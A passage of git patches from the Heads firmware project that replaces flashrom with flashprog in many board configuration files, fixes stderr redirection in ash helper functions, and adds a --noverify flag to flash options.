a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 5aec832cb..bf2e32896 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -7,7 +7,7 @@ die() { if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then echo -e " !!! ERROR: $* !!!" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; else - echo -e "!!! ERROR: $* !!!" > &2; + echo -e >&2 "!!! ERROR: $* !!!"; fi sleep 2; exit 1; @@ -17,7 +17,7 @@ warn() { if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then echo -e " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; else - echo -e " *** WARNING: $* ***" > &2; + echo -e >&2 " *** WARNING: $* ***"; fi sleep 1; } diff --git a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config index c4a0487ff..57dc8cbc2 100644 --- a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config @@ -43,7 +43,7 @@ export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="P8Z77-M PRO" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Set this option to zero out the VSCC table https://github.com/osresearch/heads/pull/1358#discussion_r1153251399 export CONFIG_ZERO_IFD_VSCC=y diff --git a/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config b/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config index ae7b034af..32beb6741 100644 --- a/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config +++ b/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config @@ -18,7 +18,7 @@ CONFIG_QRENCODE=y CONFIG_TPMTOTP=y endif -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y diff --git a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config index 3aab4db9a..a766d2f98 100644 --- a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config +++ b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config @@ -7,7 +7,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-t420.config CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -33,4 +33,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config index 6abe0e8a4..a1a88c51e 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config @@ -19,7 +19,7 @@ CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=n CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-legacy" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config index d99b7ef17..ec87605ab 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config @@ -12,7 +12,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-flash.config #Add bare minimal tools for flashing boards CONFIG_BASH=n -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_ZSTD=n #CONFIG_GPG=y #CONFIG_FLASHTOOLS=y @@ -28,7 +28,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad T430-legacy-flash" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config index 28d5c9dda..f4164e0b5 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config @@ -16,7 +16,7 @@ CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=n CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -56,7 +56,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-legacy" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config index 72898cad4..eddf2f102 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config @@ -17,7 +17,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config index 96dd85d76..baf9e076b 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config @@ -17,7 +17,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -61,7 +61,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config index 43bb07e5a..55967765a 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config index 020431681..64da9a8a5 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config index 15cb36a7e..1b1a28e28 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config index 7a1107914..dba595406 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config index 15794695e..702258260 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-hotp-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config index 9ad244a3f..feb1532b6 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config @@ -20,7 +20,7 @@ CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config index bed15b495..c2d114299 100644 --- a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config +++ b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config @@ -11,7 +11,7 @@ CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -56,4 +56,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" --ifd --image bios" diff --git a/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config b/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config index d121609d8..8d874d736 100644 --- a/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config +++ b/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config @@ -15,7 +15,7 @@ CONFIG_MUSL=n else # These don't fit if u-root is turned on #CONFIG_CRYPTSETUP=y -#CONFIG_FLASHROM=y +#CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y #CONFIG_GPG=y CONFIG_KEXEC=y diff --git a/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config b/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config index bd98df5ee..14d6abb67 100644 --- a/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config +++ b/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config @@ -8,7 +8,7 @@ CONFIG_LINUX_CONFIG=config/linux-linuxboot.config export CONFIG_LINUX_VERSION=4.14.62 #CONFIG_CRYPTSETUP=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y #CONFIG_GPG=y CONFIG_KEXEC=y CONFIG_UTIL_LINUX=y diff --git a/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config b/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config index e5af0f07f..2a0148d73 100644 --- a/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config +++ b/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config @@ -16,7 +16,7 @@ CONFIG_LINUX_CONFIG=config/linux-linuxboot.config export CONFIG_LINUX_VERSION=4.14.62 #CONFIG_CRYPTSETUP=y -#CONFIG_FLASHROM=y +#CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG=y CONFIG_KEXEC=y diff --git a/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config b/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config index 73d475832..109c02fc5 100644 --- a/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config +++ b/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config @@ -17,7 +17,7 @@ CONFIG_MUSL=n else # These don't fit if u-root is turned on #CONFIG_CRYPTSETUP=y -#CONFIG_FLASHROM=y +#CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y #CONFIG_GPG=y CONFIG_KEXEC=y diff --git a/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config b/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config index 27db8c52b..d9cae6534 100644 --- a/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config +++ b/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config @@ -17,7 +17,7 @@ CONFIG_MUSL=n else # These don't fit if u-root is turned on #CONFIG_CRYPTSETUP=y -#CONFIG_FLASHROM=y +#CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG=y CONFIG_KEXEC=y From d9ad27f3724978a3c81665be7bf6285944b4eab6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 1 Sep 2024 18:26:43 -0400 Subject: [PATCH 270/619] boards FLASH_OPTIONS: add --noverify. No point verifying flash with internal programmer? Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 2 +- .../UNMAINTAINED_kgpe-d16_server.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation.config | 2 +- boards/librem_11/librem_11.config | 2 +- boards/librem_13v2/librem_13v2.config | 2 +- boards/librem_13v4/librem_13v4.config | 2 +- boards/librem_14/librem_14.config | 2 +- boards/librem_15v3/librem_15v3.config | 2 +- boards/librem_15v4/librem_15v4.config | 2 +- boards/librem_l1um/librem_l1um.config | 2 +- boards/librem_l1um_v2/librem_l1um_v2.config | 2 +- boards/librem_mini/librem_mini.config | 2 +- boards/librem_mini_v2/librem_mini_v2.config | 2 +- boards/nitropad-ns50/nitropad-ns50.config | 2 +- boards/nitropad-nv41/nitropad-nv41.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t440p-maximized/t440p-maximized.config | 2 +- boards/t530-hotp-maximized/t530-hotp-maximized.config | 2 +- boards/t530-maximized/t530-maximized.config | 2 +- boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/w541-maximized/w541-maximized.config | 2 +- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- boards/x230-hotp-legacy/x230-hotp-legacy.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- boards/x230-legacy-flash/x230-legacy-flash.config | 2 +- boards/x230-legacy/x230-legacy.config | 2 +- boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 +- .../UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config | 2 +- .../UNMAINTAINED_t430-hotp-legacy.config | 2 +- .../UNMAINTAINED_t430-legacy-flash.config | 2 +- .../UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config | 2 +- .../UNMAINTAINED_t520-hotp-maximized.config | 2 +- .../UNMAINTAINED_t520-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-hotp-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config | 2 +- 59 files changed, 59 insertions(+), 59 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 4a55e94f8..19d10f72f 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -72,5 +72,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server-whiptail" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 47cefb888..2fafc71f5 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -59,5 +59,5 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index a82ebe36f..37cd77aa8 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -67,4 +67,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation-USB-Keyboard" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" diff --git 